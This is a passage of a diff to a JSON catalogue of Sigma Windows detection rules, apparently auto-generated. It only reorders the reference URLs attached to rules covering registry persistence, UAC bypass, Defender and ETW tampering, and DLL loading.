"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml" ], "tags": [ @@ -18765,8 +18383,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/WhichbufferArda/status/1543900539280293889", "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp", + "https://twitter.com/WhichbufferArda/status/1543900539280293889", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" ], "tags": [ @@ -18942,8 +18560,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_globalflags.yml" ], "tags": [ @@ -18979,8 +18597,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/diskcleanuphandler.html", "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://persistence-info.github.io/Data/diskcleanuphandler.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml" ], "tags": [ @@ -19060,8 +18678,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_databases.yml" ], "tags": [ @@ -19229,8 +18847,8 @@ "refs": [ "https://persistence-info.github.io/Data/userinitmprlogonscript.html", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml" ], "tags": [ @@ -19370,13 +18988,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html", - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", - "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml" ], "tags": [ @@ -19445,8 +19063,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" ], "tags": [ @@ -19481,8 +19099,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" ], "tags": [ @@ -19548,8 +19166,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53", "https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/", + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_load_macro_provider_on_boot.yml" ], "tags": [ @@ -19599,8 +19217,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml" ], "tags": [ @@ -19791,9 +19409,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" ], "tags": [ @@ -19828,8 +19446,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" ], "tags": [ @@ -20117,10 +19735,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" ], "tags": [ @@ -20221,8 +19839,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", + "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" ], "tags": [ @@ -20257,8 +19875,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53", + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_macro_execution.yml" ], "tags": [ @@ -20308,8 +19926,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", "https://persistence-info.github.io/Data/hhctrl.html", + "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml" ], "tags": [ @@ -20532,8 +20150,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", "https://persistence-info.github.io/Data/naturallanguage6.html", + "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_natural_language.yml" ], "tags": [ @@ -20589,8 +20207,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" ], "tags": [ @@ -20627,8 +20245,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" ], "tags": [ @@ -20661,8 +20279,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", "https://persistence-info.github.io/Data/mpnotify.html", + "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mpnotify.yml" ], "tags": [ @@ -20687,8 +20305,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" ], "tags": [ @@ -20813,8 +20431,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" ], "tags": [ @@ -20959,8 +20577,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" ], "tags": [ @@ -20993,8 +20611,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", + "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" ], @@ -21094,8 +20712,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", "https://www.sans.org/cyber-security-summit/archives", + "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", "https://twitter.com/jamieantisocial/status/1304520651248668673", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" ], @@ -21223,8 +20841,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" ], "tags": [ @@ -21290,8 +20908,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", + "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_security_settings.yml" ], "tags": [ @@ -21381,8 +20999,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml" ], "tags": [ @@ -21554,8 +21172,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/VakninHai/status/1517027824984547329", - "https://twitter.com/pabraeken/status/998627081360695297", "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", + "https://twitter.com/pabraeken/status/998627081360695297", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" ], "tags": [ @@ -21621,8 +21239,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/autodialdll.html", "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", + "https://persistence-info.github.io/Data/autodialdll.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" ], "tags": [ @@ -21679,8 +21297,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", "https://youtu.be/zSihR3lTf7g", + "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" ], "tags": [ @@ -21715,9 +21333,9 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml" ], "tags": [ @@ -21784,8 +21402,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", "https://unit42.paloaltonetworks.com/ransomware-families/", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" ], "tags": [ @@ -21858,8 +21476,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" ], "tags": [ @@ -21893,8 +21511,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml" ], @@ -21961,9 +21579,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", - "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", + "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", + "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" ], "tags": [ @@ -21987,9 +21605,9 @@ "logsource.product": "windows", "refs": [ "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", - "https://github.com/elastic/detection-rules/issues/1371", - "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", + "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", + "https://github.com/elastic/detection-rules/issues/1371", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" ], "tags": [ @@ -22063,10 +21681,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/", "https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md", - "https://twitter.com/nas_bench/status/1626648985824788480", "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.InternetCommunicationManagement::EventViewer_DisableLinks", + "https://twitter.com/nas_bench/status/1626648985824788480", + "https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_event_viewer_events_asp.yml" ], "tags": [ @@ -22133,8 +21751,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" ], @@ -22158,17 +21776,17 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/", + "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://twitter.com/_xpn_/status/1268712093928378368", - "https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dot_net_etw_tamper.yml" ], "tags": [ @@ -22244,8 +21862,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" ], "tags": [ @@ -22312,8 +21930,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" ], @@ -22381,10 +21999,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/gtworek/PSBits/tree/master/IFilter", + "https://persistence-info.github.io/Data/ifilters.html", "https://twitter.com/0gtweet/status/1468548924600459267", "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", - "https://persistence-info.github.io/Data/ifilters.html", + "https://github.com/gtworek/PSBits/tree/master/IFilter", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ifilter.yml" ], "tags": [ @@ -22465,8 +22083,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml" ], "tags": [ @@ -22534,9 +22152,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump", "https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html", + "https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_unsigned_load.yml" ], "tags": [ @@ -22571,9 +22189,9 @@ "logsource.category": "image_load", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", "https://twitter.com/dez_/status/986614411711442944", "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", + "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", 